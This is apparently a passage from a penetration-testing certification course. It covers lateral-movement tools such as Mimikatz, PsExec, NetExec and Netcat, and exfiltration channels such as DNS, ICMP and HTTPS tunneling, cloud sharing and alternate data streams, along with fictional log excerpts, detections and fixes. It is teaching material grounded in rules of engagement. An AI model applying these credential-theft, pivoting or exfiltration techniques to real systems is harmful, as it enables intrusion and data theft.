| strings and findstr.exe | Pull text from binaries; search text files | Find credentials in files, including old Group Policy passwords on SYSVOL (T1552.001) | Command lines naming "password"; access to decoy files |
All of that logging rests on one setting: process creation events (Security 4688 with the command-line field enabled, or Sysmon Event ID 1). The binary's name is no signal, because these programs run legitimately all day. The parent process and the arguments are the signal. Microsoft's detections for NotPetya looked for exactly that sort of thing: PsExec running under a different filename, and perfc.dat appearing on remote shares.
Two more exam items are ways of running commands. PowerShell ISE is Windows PowerShell's built-in script editor and debugger. Microsoft says it is no longer in active feature development, still ships with Windows, has no support in PowerShell 6 and later, and points users to Visual Studio Code. A tester values it on a host where nothing may be installed. Script block logging (event 4104) records what runs regardless. Batch files are cmd.exe scripts, .bat or .cmd, the oldest automation on Windows. Here is a harmless read-only example that gathers the facts this lesson has been reading:
@echo off
REM inventory.bat: read-only facts for the activity log
hostname
ipconfig /all
route print
netstat -ano
tasklist /svc
A batch file loops well, which is the danger: one list of hosts with one wrong line reaches far beyond scope. Check the list against the ROE before anything repeats.
The toolkits: Metasploit, Covenant, CrackMapExec, Impacket and Netcat
| Tool | What it is for | Choose it when | What it leaves behind | Status today |
|---|---|---|---|---|
| Metasploit | Framework of modules and sessions, with its own routing table for pivoting | You want one console for sessions, routes and a SOCKS proxy | Whatever channel the module uses (a service, a logon), plus a process holding connections | Actively developed. Its docs discourage single-port forwarding in favor of its SOCKS module |
| Covenant | Collaborative .NET command and control framework with a web interface and Grunt implants | A red team shares one operation against .NET-heavy hosts | Public forensic detail is thin. Expect general C2 signs: regular outbound traffic from a .NET process | The repository's last push was in July 2024; expect little maintenance |
| CrackMapExec (CME) | Checks one credential across many hosts; lists shares and sessions; runs commands over SMB, WMI or WinRM | You need a wide, fast answer: where does this account work? | A burst of logons or failures from one source across many hosts, which can also trip lockout | Archived December 6, 2023. The project continues as NetExec (v1.5.1, February 2026) |
| Impacket | Python classes for network protocols, with SMB and MSRPC implemented, plus example scripts that imitate PsExec, WMI and DCOM from Linux | You work from Kali with no Windows tools, or need to script a protocol | The same channel events. Its WMI example runs commands through cmd.exe and writes output to a short-lived file on ADMIN$ | Maintained by Fortra (0.13.1, May 2026). CISA documented real intruders using it in advisory AA22-277A |
| Netcat | Reads and writes across TCP and UDP; banner grabs (Lesson 7) and simple relays | One port, one connection, a small tool. Ncat is Nmap's rewrite | A listening port owned by nc or ncat, found with netstat -ano | Widely packaged; many antivirus products flag it on Windows |
A tool's output is what you will be asked to read. NetExec documents [+] for a valid login, [-] for a failed one, and (Pwn3d!) when the account can execute code, usually because it is a local administrator. In this fictional excerpt the same account is valid on two hosts, an administrator on one, and rejected on the third:
SMB 10.20.0.40 445 FS01 [+] NORTHWAY\pt-test:[password removed] (Pwn3d!)
SMB 10.20.0.41 445 FS02 [+] NORTHWAY\pt-test:[password removed]
SMB 10.20.0.42 445 DB01 [-] NORTHWAY\pt-test:[password removed] STATUS_LOGON_FAILURE
Mimikatz, by contrast, has seen little formal release since 2022 but stays in daily use, and PsExec remains a supported Sysinternals download. Neither has changed what it is for.
Lateral movement at a glance
| Technique | Weakness it relies on | Tools | What defenders see | Fix |
|---|---|---|---|---|
| Credential dumping (T1003.001) | Secrets in LSASS; admins logged on widely | Mimikatz | Sysmon 10 on lsass.exe | Credential Guard, LSA protection, fewer admin sessions |
| Additional credential capture (T1040, T1552) | Saved logins; cleartext protocols | tcpdump, Wireshark, strings, findstr | Little; keyword command lines | Retire cleartext; a secrets manager; no saved admin logins |
| Service discovery from inside (T1046) | Flat network; nothing filters inside | Nmap, netstat, NetExec | 139 and 445 sweeps in flow data | Host firewalls; block workstation-to-workstation |
| Remote execution (T1021, T1047, T1569.002) | Shared local admin passwords; broad rights | PsExec, WMI, WinRM, Impacket, NetExec | 7045; 4624 type 3; WmiPrvSE.exe or Wsmprovhost.exe children | Windows LAPS; limit remote admin; block PsExec and remote WMI where unneeded |
| Exploiting SMBv1 (T1210) | Missing patch; SMBv1 on | Metasploit modules | IDS signatures for MS17-010 | Patch; disable SMBv1; block SMB at the boundary |
| Pivoting (T1090.001, T1572) | Dual-homed hosts; open paths from DMZ to inside | sshuttle, Proxychains, Metasploit | DMZ-to-inside flows; long SSH sessions | Segment; filter east-west; review dual-homing |
| Relay creation (T1090.001) | Hosts free to listen and forward | Netcat, netsh portproxy | New listener with a PID; flows on odd ports | Host firewall allow lists; alert on new listeners |
| Living off the land (T1218, T1127.001) | Signed binaries trusted by default | rundll32, msbuild, mmc, ftp.exe | Parent process and command line | Application control block rules; command-line logging |
Microsoft's own summary of the first and fourth rows is blunt: local administrator accounts often share a password across many devices, and attackers exploit that to move laterally. Windows LAPS exists to close that gap by rotating each device's password. CISA's post-NotPetya list adds least privilege, host firewalls blocking workstation-to-workstation traffic, and separated networks.
Exam cues: what the stem is really asking
Objective 5.2 begins "Given a scenario", so expect these words in a stem.
| The stem says | It points to | Do not confuse it with |
|---|---|---|
| A host has addresses in two networks | A pivot candidate: read route print or ip route | Permission: reach is not scope |
| Forward one port through the compromised host | Relay creation: Netcat, netsh portproxy | A relay attack, which forwards authentication |
| Whole subnet over SSH, no admin on the remote side, root locally | sshuttle | Proxychains, which needs a SOCKS proxy and wraps each tool |
| Send a program's TCP through a SOCKS proxy | Proxychains; use -sT, not -sS or ping | sshuttle, which needs no per-tool wrapper |
| Service PSEXESVC; event 7045; ADMIN$ | PsExec over SMB | WMI, which creates no service |
| Parent process WmiPrvSE.exe | WMI | Wsmprovhost.exe, which is PowerShell remoting over WinRM |
| TCP 5985 or 5986 | WinRM | 135 plus a high port, which is RPC/DCOM |
| Which program owns this port? | netstat -ano, then tasklist /svc | route print, which shows networks |
| TCP 9100; "printed garbage" | JetDirect raw printing | TCP 515, which is LPD |
| Loads a DLL with an odd extension | rundll32 | msbuild, which compiles a project file |
| Password found in a config file | String search: findstr, strings, grep | Credential dumping, which reads memory |
| Output ends (Pwn3d!) | The account can execute code, usually local admin | [+], which only proves the login is valid |
| An old write-up names CME | CrackMapExec, now continued as NetExec | Impacket, a protocol library |
How lateral movement is reported
A movement finding needs what a single-host finding does not: the path. Give the attack narrative as a timed list of hops, with source, destination, channel and account, so the client can line each one up against its own logs. Here is the entry for the Northway run, as you would write it.
- Title: DMZ server can reach management ports on the server network, and one local administrator password opens 14 servers.
- Severity: High. Anyone who controls app01 could run commands on the file server and 13 others. It is not Critical because it needs a foothold on app01 first and no domain-wide control was shown. Client context may change this.
- Evidence:
ip routeoutput from app01 showing eth0 and eth1. Connect check showing 445 and 5985 open from 10.20.0.5. WinRM session at 14:07:12 UTC as pt-test: hostname and whoami only. Northway's matching 4624 type 3 event from 10.20.0.5. The 14-server count comes from a client-run comparison of password hashes, not from further logons. No files read or copied; no services created. - Root cause: no filtering between the DMZ and server networks on SMB and WinRM, and a local administrator password inherited from a shared server image.
- Remediation: allow only named application ports from the DMZ inward; deploy Windows LAPS; limit WinRM to a management subnet; alert on Wsmprovhost.exe activity sourced from the DMZ; then retest the same path.
Key idea: report what you proved and stop at the proof. The strongest movement finding has a short evidence list, a named root cause and no collateral. List hops not attempted and channels the ROE ruled out under limitations, and record every pivot and relay so Lesson 26's cleanup can remove them.
Common misconceptions
- "Patch MS17-010 and a NotPetya-style spread stops." It stops the exploit route. Stolen credentials with PsExec or WMI still work on patched machines.
- "LOLBins are malware." They are signed, legitimate programs. The misuse is in the arguments and the parent process.
- "Relay creation and a relay attack are the same." A relay forwards your traffic; a relay attack forwards someone's authentication.
- "Proxychains tunnels everything." TCP only, from dynamically linked programs. No ICMP, UDP or raw SYN scan.
- "If the pivot can reach it, it is in scope." Scope comes from the ROE. Route tables only show what is possible.
What you now know
- The US alert names a modified Mimikatz as NotPetya's first and usually most effective spreading method; EternalBlue and EternalRomance, patched in MS17-010 on March 14, 2017, were the second route.
- Patching closes exploit routes only; valid credentials with PsExec, WMI or WinRM still move on a fully patched network, so unique local admin passwords (Windows LAPS) and segmentation are the fix.
- Ports to retrieve: SMB 445, RDP 3389, VNC 5900, SSH 22, LDAP 389, RPC 135 and 111, FTP 21, Telnet 23, LPD 515, JetDirect 9100, WinRM 5985 and 5986.
- A route table with two On-link networks marks a pivot candidate;
netstat -anogives a PID, and tasklist /svc names its program. - PsExec installs the PSEXESVC service (event 7045); WMI starts commands under WmiPrvSE.exe; PowerShell remoting over WinRM starts them under Wsmprovhost.exe.
- Proxychains is TCP only and needs dynamic linking, so use -sT and not -sS or ping; sshuttle needs SSH and Python on the pivot, no admin there, and root on your side.
- In every pivot method the target logs the pivot's address, so keep your own timed activity log.
- LOLBAS requires Microsoft-signed binaries with unexpected functionality; netstat, net and route are on the exam's list but not in LOLBAS. Detect by parent process and command line, not by name.
- CrackMapExec was archived in December 2023 and continues as NetExec; in its output, (Pwn3d!) means more than [+].
Sources
- Cybersecurity and Infrastructure Security Agency. (2018). Alert TA17-181A: Petya ransomware (first issued 2017, revised February 15, 2018). cisa.gov; and (2022). AA22-277A: Impacket and exfiltration tool used to steal sensitive information from defense industrial base organization. cisa.gov
- Microsoft Defender Security Research Team. (2017, June 27). New ransomware, old techniques: Petya adds worm capabilities. Microsoft Security Blog. microsoft.com
- Greenberg, A. (2018). The untold story of NotPetya, the most devastating cyberattack in history. WIRED. wired.com
- The White House. (2018, February 15). Statement from the Press Secretary. trumpwhitehouse.archives.gov; U.S. Department of Justice. (2020, October 19). Six Russian GRU officers charged in connection with worldwide deployment of destructive malware and other disruptive actions in cyberspace. justice.gov
- MITRE. (n.d.). ATT&CK: NotPetya S0368; PsExec S0029; Net S0039; netstat S0104; route S0103; T1021.002; T1021.003; T1021.006; T1047; T1090.001; T1572; T1552.001; T1218.011; T1218.014; T1127.001. NotPetya; WMI; DCOM; Internal Proxy
- LOLBAS Project. (n.d.). Living off the land binaries, scripts and libraries, criteria and entries for Cmd, Explorer, Findstr, Ftp, Mmc, Msbuild and Rundll32. lolbas-project.github.io
- Microsoft. (n.d.). Microsoft Learn: PsExec; WMIC; WinRM configuration; PowerShell remoting FAQ; PowerShell ISE; Windows LAPS; Credential Guard; LSA protection; Sysmon; event 4624; netstat; application control block rules
- Japan Computer Emergency Response Team Coordination Center. (n.d.). Tool analysis result sheet: PsExec, wmic and WinRS. PsExec; wmic; WinRS
- Forwarding tools: rofl0r. (n.d.). proxychains-ng (README). github.com; sshuttle project. (2026). sshuttle 2.0.0 documentation: how it works; requirements. readthedocs.io; Rapid7. (n.d.). Pivoting in Metasploit. docs.metasploit.com
- Toolkits, read on GitHub on November 3, 2026: CrackMapExec; NetExec and its wiki; Impacket; Covenant; Mimikatz
- Protocols and scanning: Lyon, G. (n.d.). Nmap reference guide: version detection and port scanning techniques; McLaughlin, L. (1990). Line printer daemon protocol (RFC 1179). rfc-editor.org; Richardson, T., and Levine, J. (2011). The remote framebuffer protocol (RFC 6143). rfc-editor.org
- Scarfone, K., Souppaya, M., Cody, A., and Orebaugh, A. (2008). Technical guide to information security testing and assessment (NIST Special Publication 800-115), section 7.4. National Institute of Standards and Technology. nvlpubs.nist.gov (PDF)
- Key terms
- Lateral movement
- Using one compromised or authorized host and its credentials to reach further hosts inside a network; MITRE ATT&CK treats it as a distinct tactic.
- Network pivoting
- Sending traffic through a host that sits in two networks so that systems behind a firewall see the connection as coming from that trusted host.
- Relay creation
- Building a forwarder on a host, such as a Netcat or netsh portproxy listener, that joins one network connection to another; not the same as a relay attack, which forwards authentication.
- Living off the land binaries (LOLBins)
- Signed programs already on a system, such as rundll32 or msbuild, used for purposes beyond the obvious so that little new needs to be installed.
- Windows Management Instrumentation (WMI)
- Windows' management infrastructure, reachable remotely over DCOM on port 135 or over WinRM; remotely started commands typically appear under WmiPrvSE.exe.
- Windows Remote Management (WinRM)
- Windows' remote management service and protocol on TCP 5985 (HTTP) and 5986 (HTTPS), used by PowerShell remoting, whose commands run under Wsmprovhost.exe.
- PsExec
- A Microsoft Sysinternals tool that runs processes on remote Windows systems by copying a temporary service, PSEXESVC, over SMB, which logs system event 7045.
- Mimikatz
- A credential dumping tool known for extracting plaintext passwords, hashes, PIN codes and Kerberos tickets from Windows memory; NotPetya carried a modified version.
- Proxychains
- A preloader that hooks network calls in dynamically linked programs and sends their TCP connections through SOCKS or HTTP proxies; it cannot carry UDP, ICMP or raw SYN scans.
- sshuttle
- A tool that forwards TCP to whole subnets over one SSH session, needing SSH and Python on the remote host, no admin rights there, and root on the client.
Getting Data Out, and Proving It: Staging and Exfiltration
- Explain what staging is and why compression and encryption usually come before any data leaves a network.
- Summarize how covert channels (steganography, DNS, ICMP and HTTPS), email, cross-account resources, cloud storage, text storage sites, alternate data streams and virtual drive mounting each carry data, and what each one relies on.
- Describe how rules of engagement keep a test to harmless marker data, and read a log or clause to decide what it shows.
- Name what defenders can observe for each path and the controls that close it, and report an exfiltration finding with evidence, root cause and fixes.
The client's question: could our patient files leave without anyone noticing?
Picture a fictional company, Harbor Dental Group. Its owner reads a news story about stolen records and asks you one question: "If someone got into our network, could they walk our patient files out the door without us noticing?" That is not a question about breaking in. It is about the last half of an attack, the part where stolen data is gathered and sent away.
You cannot answer by taking real patient files. Doing that would create the very breach the client fears. So the answer has to come from proof of a different kind. Two terms frame it.
- Staging is gathering the data you want in one place inside the network before it leaves.
- Exfiltration (often shortened to exfil) is moving data out of the network to a place the owner does not control.
MITRE ATT&CK, a public catalog of attacker behavior, describes exfiltration as the tactic of getting data out. It notes that attackers usually package data first, often by compressing or encrypting it, and may send it in small pieces or on a schedule so it looks like ordinary traffic.[1] This lesson explains each path the exam names, why a tester's rules limit it, and what a defender sees.
Exam objectives: 5.3 (summarize concepts related to staging and exfiltration: file encryption and compression; covert channels, including steganography, DNS, Internet Control Message Protocol (ICMP) and HTTPS; email; cross-account resources; cloud storage; alternate data streams; text storage sites; virtual drive mounting).
Before you test anything: marker data and the rules of engagement
Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Moving data out is where a test most easily turns into real harm, so this part of the rules matters more than most.
The rules of engagement (ROE) are the written limits of the test. For exfiltration they should answer four things:
- Which kinds of data you may touch, and which you must never open.
- Which destinations you may send test data to, usually only systems the client or the testing firm controls.
- Whether a given channel, such as a cloud account, may be tested at all.
- How much data, when, and who must be told before and after.
The standard way to stay inside those limits is marker data: a harmless file the client has agreed to, with content you create, such as a document that says it is a test and carries a unique ID. If the marker arrives at your agreed destination, you have proved the path works, and no patient has been exposed. If a defender's alert fires on it, you have proved detection works. Either result answers the owner's question without a single real record moving.
Nothing in this lesson is something you run. There are no commands, scripts or tool settings here, because the exam asks you to summarize the concepts. Every company, address and log line is fictional. Addresses come from ranges reserved for documentation (RFC 5737), and domains use example.com.
Remember: a tester proves a path with marker data the client agreed to. Real client data is never the evidence.
Staging, file encryption and compression
Attackers rarely send files out one by one from where they sit. Collecting first makes the exit short and quiet. MITRE's description of local data staging says an attacker gathers the data into a central place on a system, as separate files or combined into one, using built-in copy features. Many threat groups have done it.[4] Because it only uses normal system features, MITRE notes it cannot be easily mitigated with preventive controls, so defenders rely on detection.[4]
Next comes packaging. Compression shrinks data so less crosses the network. Encryption scrambles it so a reader without the key sees noise. MITRE's page on archiving collected data says compression can obscure the data and reduce what is sent, and encryption can hide the content or make it less conspicuous to a defender who looks.[4] An archive is simply the one file that results.
Notice what each choice costs the defender. A big file in a temporary folder is a visible clue. An encrypted one cannot be inspected by a data loss prevention (DLP) tool, which is software that scans outgoing content for sensitive patterns such as card numbers. That is why encryption beats DLP's content checks, and why defenders also watch behavior: who made the archive, where, and how big.
For a tester, the lesson is about proportion. Your marker needs no real compression or encryption to prove anything. You may stage a few marker files and package them as the ROE allow, to see whether the client's tools notice a new archive appearing in a temp folder.
MITRE suggests defenders correlate the running of compression or encryption tools with the creation of large archive files, and watch for writes to temporary or staging directories.[4] A good test report says where the marker was staged and whether anything alerted.
Exfiltration at a glance
One table holds the whole objective in a stable shape. Each row is covered below, and the columns are the ones to rebuild from memory.
| Path | Weakness it relies on | What defenders see | Fix |
|---|---|---|---|
| File encryption and compression | Content scanners cannot read scrambled data | New large archives in temp folders; archive tools run by odd accounts | Behavior monitoring; limit who can run archive tools |
| Steganography | Media files nobody inspects closely | Image or audio files whose size or type does not fit, made right after archiving | Content inspection at the boundary; egress limits |
| DNS channel | Name lookups are almost always allowed out | Many queries with long, odd subdomains to one domain | Force lookups through controlled resolvers and filter them |
| ICMP channel | Ping-style traffic is little watched | Fixed-size packets at regular intervals | Block ICMP that is not needed at the border |
| HTTPS channel | Web traffic is allowed and encrypted | Odd uploads from processes that do not use the web | Proxy, TLS inspection where lawful, allow lists |
| Mail is allowed out and attachments are normal | Large or unusual outbound messages and recipients | Mail DLP, size and recipient rules | |
| Cross-account resources | Provider tools share data between accounts inside the cloud | Snapshot sharing, new external access policies | Limit external sharing; least privilege |
| Cloud storage | Storage services are allowed and encrypted | Unusual upload volumes to personal storage | Approved-service allow lists; DLP |
| Text storage sites | Developer paste sites look harmless | Uploads to paste sites from servers | Block or monitor those sites |
| Alternate data streams | NTFS can hide data inside a file's metadata | File names with a colon and stream name | Scan for streams; restrict permissions |
| Virtual drive mounting | A virtual disk looks like one file or a local drive | New mounted drives and large disk-image files | Restrict mounting; monitor disk images |
Covert channel: sending data where nobody expects it
A covert channel carries data over a path that was not designed for it, or hides that data is being carried at all. Two ideas matter. The first is that the channel uses something the network already allows. The second is that the defender has to notice a pattern rather than a rule violation. The exam names four: steganography, DNS, ICMP and HTTPS. MITRE's description of the tactic observes that attackers can send stolen data over their existing control channel, a separate channel, or a legitimate external service.[1]
"C2" below means command and control, the link an attacker uses to give instructions to a compromised machine.
Steganography: hiding data inside a picture
Steganography hides a message inside an ordinary-looking file, such as an image, so that observers do not realize anything is hidden. That differs from encryption, which hides the meaning but not the fact that something is there. MITRE lists several real malware families that hid data in images, documents and bitmaps.[5]
The weakness it relies on is that few organizations inspect a picture's insides. The sign defenders look for is not the picture but the story around it. MITRE suggests correlating media file creation right after compression or encryption, steganography-style tool use, and large outbound transfers.[5] The takeaway for the exam: steganography is rarely seen alone, and its usual partner is a prior staging step.
DNS: the Domain Name System as a delivery route
The Domain Name System (DNS) turns names such as example.com into addresses. Because nearly every network permits it, MITRE says DNS can carry hidden traffic, called DNS tunneling, with data packed into query and response records. It adds that DNS is common in most environments and often allowed, and that beacons talk infrequently, which hides them among normal lookups.[5]
Here is a fictional excerpt from a defender's resolver log. Read it as a defender would. This is a pattern to recognize, not something to reproduce.
10:02:11 client 10.30.0.44 query TXT [long encoded label].t1.example.net
10:02:41 client 10.30.0.44 query TXT [long encoded label].t1.example.net
10:03:11 client 10.30.0.44 query TXT [long encoded label].t1.example.net
10:03:41 client 10.30.0.44 query A www.example.com (normal browser lookup)
Three clues stand out: a long, unreadable subdomain, the same parent domain repeated, and a steady rhythm. MITRE's detection advice points at exactly this: unusually high query volume, long subdomains and encoded patterns, especially from processes that are not browsers.[5] The fix is also in MITRE's text: send lookups through controlled resolvers and filter unknown or bad domains, which makes it harder to hide data in DNS packets.[5]
A tester's rules usually say two things: only marker data, and only toward a resolver the client or testing firm owns.
ICMP: the Internet Control Message Protocol
The Internet Control Message Protocol (ICMP) carries status messages, and ping uses it. MITRE explains that nearly every host that speaks IP supports ICMP, and that it is less closely watched than TCP or UDP, which attackers exploit.[5] The hiding place is the packet's optional data area.
What defenders see is regularity. MITRE's detection notes mention tunnel-like patterns such as fixed-size ICMP packets sent at regular intervals, and ICMP from tools that are not ordinary ping.[5] The fix is plain network hygiene: filter protocols that do not need to cross the boundary and limit outbound traffic to required ports and approved gateways.[5]
Key idea: DNS and ICMP work as channels because the network trusts them. The defense is not a clever signature but deciding which of them may leave the network, and through which door.
HTTPS: hiding among normal web traffic
HTTPS is web traffic protected by Transport Layer Security (TLS). Almost every network lets it out, and its content cannot be read in transit without special inspection. MITRE notes that web services used for exfiltration are often already allowed by firewalls and commonly use TLS, which makes inspection harder.[2] That is why an attacker can use it as a channel: it looks like the browsing the company does all day.
The defender's clue is mismatch. MITRE suggests watching for processes that do not usually use the network suddenly making outbound HTTPS connections with high outbound-to-inbound data ratios.[2] A web server uploading gigabytes to an unknown address stands out even if the content is unreadable. For fixes, MITRE points to web proxies that block unauthorized external services and DLP that blocks sensitive uploads through browsers.[2]
Email: the door every company leaves open
Email is a path because every business sends it and attachments are routine. MITRE's page on alternative protocols lists the Simple Mail Transfer Protocol (SMTP), the protocol that carries outgoing mail, beside FTP, HTTP/S, DNS and SMB as protocols data has been sent over.[1] The weakness is trust in normal-looking mail. A message with an attachment, sent from a staff mailbox to an outside address, looks like Tuesday.
Defenders see it in mail logs: an unusually large message, a first-ever outside recipient, or many attachments in a short time. Fixes are mail-focused DLP rules, size limits, alerts for new recipients, and blocking automatic forwarding to personal addresses. A tester's ROE usually allow only a marker message to an address the client names, and often ask that the mail team be warned first, because a test message that reaches a real customer is a real incident.
Cross-account resources: moving data without leaving the cloud
In a cloud service, data can leave by moving to another account on the same provider, with no trip across the company's firewall at all. MITRE's page on transferring data to a cloud account describes this: an attacker shares, syncs or backs up data into an account they control, using the provider's own tools and internal address space, so the traffic can blend in and bypass external network interfaces.[3] It also names native sharing features, such as anonymous file links or Azure shared access signature (SAS) URIs, which are signed links that grant access to storage.[3]
A snapshot is a saved copy of a disk, and sharing one is a tidy example. What a defender watches is cloud audit logs, not network flows. MITRE points to snapshot sharing, backup exports, storage policy changes and SAS link creation that move data to other cloud identities.[3] Fixes include limiting external sharing, blocking transfers to untrusted networks, and least privilege, meaning each identity gets only the access it needs.[3]
In a test, this is almost always limited to a cloud account the client or the testing firm owns. Many cloud providers also have their own testing policies, so the ROE should say which are being followed. Read the provider's terms first.
Cloud storage and text storage sites
Cloud storage means online file services where users keep documents. Staff use them daily, so the destination is rarely blocked. MITRE lists exfiltration to cloud storage and to text storage sites as two sub-techniques of web service exfiltration, and notes that hosts often already talk to popular services, firewalls may already allow them, and providers commonly use TLS.[2]
Text storage sites are places for posting plain text, such as snippets and notes that developers share. MITRE describes data being posted to them because they are commonly used and look harmless.[2] The limit is size: text sites suit small amounts, so a defender seeing repeated paste uploads from a server should ask why.
What defenders can see: MITRE suggests watching for unusual upload, create and copy volumes by users in cloud office services, and for archiving followed by large encrypted uploads.[2] Fixes are an allow list of approved storage services, DLP on uploads, and a web proxy that blocks unapproved destinations.[2]
Take care with the choice between the two on an exam. If a stem names a developer paste site, think text storage. If it names a file sync service, think cloud storage. If it names a second account at the same provider as the victim, think cross-account.
Alternate data streams: a hiding place inside the file system
NTFS, the file system Windows uses, can attach extra named data to a file. These are alternate data streams (ADS). MITRE explains that NTFS attributes such as ADS can store arbitrary data and even whole files, and that attackers have used them to avoid defenses like indicator scanning and antivirus.[6] The file looks normal in a basic directory listing, while the extra stream holds more.
That makes ADS a hiding place for staged data: not a way out of the network, but a way to keep data from being noticed while it waits. The visible clue is a name with a colon, such as report.txt:notes. This is what a defender's file-audit record might show, in fictional form:
File created: C:\Users\Public\budget.xlsx:marker1
Process: office-helper.exe User: SVC-BACKUP Size: 4,812,300 bytes
Read it: a service account made a stream attached to a spreadsheet, and the stream is bigger than most spreadsheets. MITRE's detection advice includes file creations with colon syntax and tools that use stream parameters.[6] The mitigation it names is tightening permissions on those attributes, testing first because the changes can interfere with the operating system.[6] A common misunderstanding: streams do not survive copying to a file system that lacks them, so they only help while the data stays on NTFS.
Virtual drive mounting
A virtual drive is a disk stored as a single file, such as a disk image, that the system can attach and show as an ordinary drive letter or folder. This is called mounting it. The path matters for two reasons. Data placed inside one is packed into a single file that is easy to stage and carry. Mounted, it behaves like a local disk, so a tool that scans files can miss what sits in the image until it is attached.
No MITRE page covers this exactly, so this section is a plain explanation rather than a cited one. Defenders can watch for new mounted drives, unusually large disk-image files appearing in staging folders, and mounting by accounts that never do it. Controls include limiting who can mount images and scanning images when they are mounted. In a test, a marker file in a small image proves the idea without moving real data.
Key idea: every one of these paths ends up as either a pattern in a log (size, rhythm, destination, account) or a missing allow list. Learn the clue, then the control.
Exam cues: what the stem is really asking
| The stem says | Think | Often confused with |
|---|---|---|
| Files copied into one folder, then archived | Staging, then compression | Exfiltration itself; staging stays inside the network |
| Long, odd subdomains, steady timing | DNS channel | Ordinary DNS lookups |
| Same-sized ping packets at regular intervals | ICMP channel | Normal connectivity checks |
| Image sizes do not match, made right after archiving | Steganography | Encryption, which hides content but not that data exists |
| Large upload from a server to an unknown site over TLS | HTTPS channel or cloud storage | A web browsing spike |
| Snapshot shared with an outside account ID | Cross-account resources | Cloud storage upload; the data never left the provider |
| Snippets posted to a developer paste site | Text storage site | Cloud storage |
| File name with a colon and an oversized stream | Alternate data stream | A hidden file attribute |
| Test uses a harmless agreed file | Marker data | A reduced-size copy of real data, which is not allowed |
A worked example, then one input changed
Harbor Dental's ROE allow marker data only, sent to a server the testing firm controls, from the file server FS-02, with the security team told beforehand. You stage one marker file in a temp folder, package it, and send it using HTTPS to the firm's server. Nothing alerts. The proxy log shows the upload:
14:20:06 FS-02 POST 198.51.100.80:443 bytes_out=2,400,512 bytes_in=1,208 category=uncategorized
Reason it through. The upload left a file server, a machine that normally never browses the web. It sent far more than it received. The destination was uncategorized. Those three facts are exactly what MITRE says a defender should look for in web exfiltration,[2] and none of them raised an alert. So the finding is not that data was stolen. It is that the path was open and the detection is missing.
Now change one input: the destination moves to a cloud storage service on the client's approved list. The traffic now looks like normal use of an allowed service, and the proxy may categorize it as business traffic. The conclusion changes: the control that would have blocked the first test, the proxy category rule, does nothing here, and the stronger fix becomes monitoring upload volume by account and process rather than by destination alone.
How exfiltration testing is reported
Report the path, not the data. An example finding, fictional:
- Title: File server can upload to unclassified internet sites without alert.
- Severity: High, because the server holds patient records and nothing blocked or flagged a 2.4 MB marker upload; severity would fall if an alert had fired within the agreed window.
- Evidence: the proxy log line, the time of the test, the marker ID, and a note that the security team's console showed no alert.
- Root cause: outbound traffic from servers is not restricted to an allow list, and no rule compares upload and download volume.
- Remediation: restrict servers to approved destinations, add upload-ratio alerts, and add DLP at the web proxy.
State plainly that no real client data left the network, and that the marker was removed afterward (Lesson 26 covers cleanup).
Common misconceptions
- "Encryption stops exfiltration." It stops reading the content, not the transfer. Behavior monitoring still sees the transfer.
- "A tester should prove the risk with a small sample of real records." No. The ROE call for marker data, so real records never move.
- "If the traffic is on an allowed port, it is safe." An allowed port is exactly what covert channels rely on.
- "Steganography and encryption are the same thing." One hides that data exists, the other hides what it says.
- "Cross-account sharing is not exfiltration because it stays inside the cloud." The data still reaches an account the owner does not control.
Recap
- Staging gathers data in one place inside the network; exfiltration moves it out.
- Compression shrinks data and encryption hides its content, and defenders can still see new large archives in temp folders.[4]
- DNS and ICMP channels work because the network allows them; the clues are long encoded subdomains and fixed-size packets at regular intervals.[5]
- Web service exfiltration (HTTPS, cloud storage, text storage sites) hides in allowed TLS traffic.[2]
- Cross-account exfiltration moves data to another account on the same provider using its own sharing tools, and is seen in cloud audit logs.[3]
- An alternate data stream hides data in NTFS file metadata; a file name with a colon is the clue.[6]
- Steganography hides that data exists, and is usually paired with an earlier staging step.
- Remember: a tester uses agreed marker data and reports the open path and missing detection, never real client records.
Sources
- MITRE. (n.d.). ATT&CK: Exfiltration (TA0010) and Exfiltration Over Alternative Protocol (T1048). attack.mitre.org
- MITRE. (n.d.). ATT&CK: Exfiltration Over Web Service (T1567). attack.mitre.org
- MITRE. (n.d.). ATT&CK: Transfer Data to Cloud Account (T1537). attack.mitre.org
- MITRE. (n.d.). ATT&CK: Data Staged, Local Data Staging (T1074.001) and Archive Collected Data (T1560). attack.mitre.org
- MITRE. (n.d.). ATT&CK: Steganography (T1001.002), DNS (T1071.004) and Non-Application Layer Protocol (T1095). attack.mitre.org
- MITRE. (n.d.). ATT&CK: NTFS File Attributes (T1564.004). attack.mitre.org
- Key terms
- Staging
- Gathering data in one place inside a network, often as a single archive, before it is sent out.
- Exfiltration
- Moving data out of a network to a destination the owner does not control; MITRE ATT&CK treats it as a tactic.
- Marker data
- A harmless file with invented content and a unique ID, agreed with the client, used to prove a data path works without moving real records.
- Covert channel
- A path that carries data over something not designed for it, or that hides that data is being carried, such as DNS, ICMP or HTTPS traffic.
- Steganography
- Hiding a message inside an ordinary-looking file such as an image so that observers do not know anything is hidden.
- DNS tunneling
- Packing data into Domain Name System queries and responses so it travels over a service most networks allow.
- Data loss prevention (DLP)
- Software that scans outgoing content for sensitive patterns and blocks or flags it; it cannot read encrypted content.
- Cross-account resources
- Cloud data, such as a shared snapshot or backup, moved to another account on the same provider, often without leaving the provider's network.
- Alternate data stream (ADS)
- A named extra block of data attached to a file on NTFS; its file name contains a colon and it does not show in a basic directory listing.
- Rules of engagement (ROE)
- The written limits of a test, including which data may be touched, which destinations are allowed and who must be told.
Leave It as You Found It: Cleanup, Restoration, and Data Destruction
- Order and carry out cleanup from a persistence record: preserve artifacts, remove persistence and tools, revert configuration, remove tester-created credentials and spin down infrastructure, confirming each with a read-only check.
- Decide when cleanup must stop and escalate, including when a check finds something that is not on the record.
- Explain what a snapshot restore proves and what it does not.
- Choose clear, purge or destroy under NIST SP 800-88 Rev. 2, and document the result in a signed record and a certificate of sanitization.
Eleven rows and a month-end freeze
At 01:10 on the last night of testing, your persistence record has eleven rows, and the testing window closes at 05:00, when the client's month-end change freeze begins. The client is Corvid Bay Credit Union, the made-up organization from Lesson 4, which has since bought a follow-on internal test of its server network, 10.20.4.0/24, on night hours. Row 1 is a web shell on an intranet server. Row 7 is a local administrator account whose password only you know. Until they are gone, each one is a weakness you created in someone else's network.
